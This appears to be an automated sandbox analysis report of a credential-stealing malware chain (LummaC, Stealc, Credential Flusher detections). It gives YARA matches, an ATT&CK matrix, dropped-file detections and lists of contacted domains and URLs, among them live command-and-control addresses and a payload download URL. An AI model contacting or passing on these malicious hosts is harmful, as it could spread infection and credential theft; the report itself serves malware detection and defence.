Directory queried: number of queries: 1309

Source: Yara match	File source: 0000000C.00000003.2886049051.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2883520034.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2649233251.0000000000C98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2879394897.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2891835597.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2894727073.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2875692021.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2884856458.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2880668031.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2897446385.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2899196082.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2876541093.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2896778343.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2828419524.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2898142263.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2888639331.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2898684448.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2895825958.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2899712973.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2881423508.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2891835597.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a8c7d2631f.exe PID: 8132, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	21 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003125001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003125001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
necklacedmny.store	188.114.96.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
presticitpo.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeeo	file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sCan	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/website-translationresource://gre/modules/DownloadIntegration.sys.mjs	firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/fac00b58987e8fcf7b8c730804042ba5ce902415450#%=	skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/ws	c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/shims/rambler-authenticator.js	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com	firefox.exe, 0000001B.00000002.2886744113.000000FFE0FBB000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://truecolors.firefox.comhttps://monitor.firefox.comupgradeTabsProgressListener_migrateXULStore	firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yande	firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	false		unknown
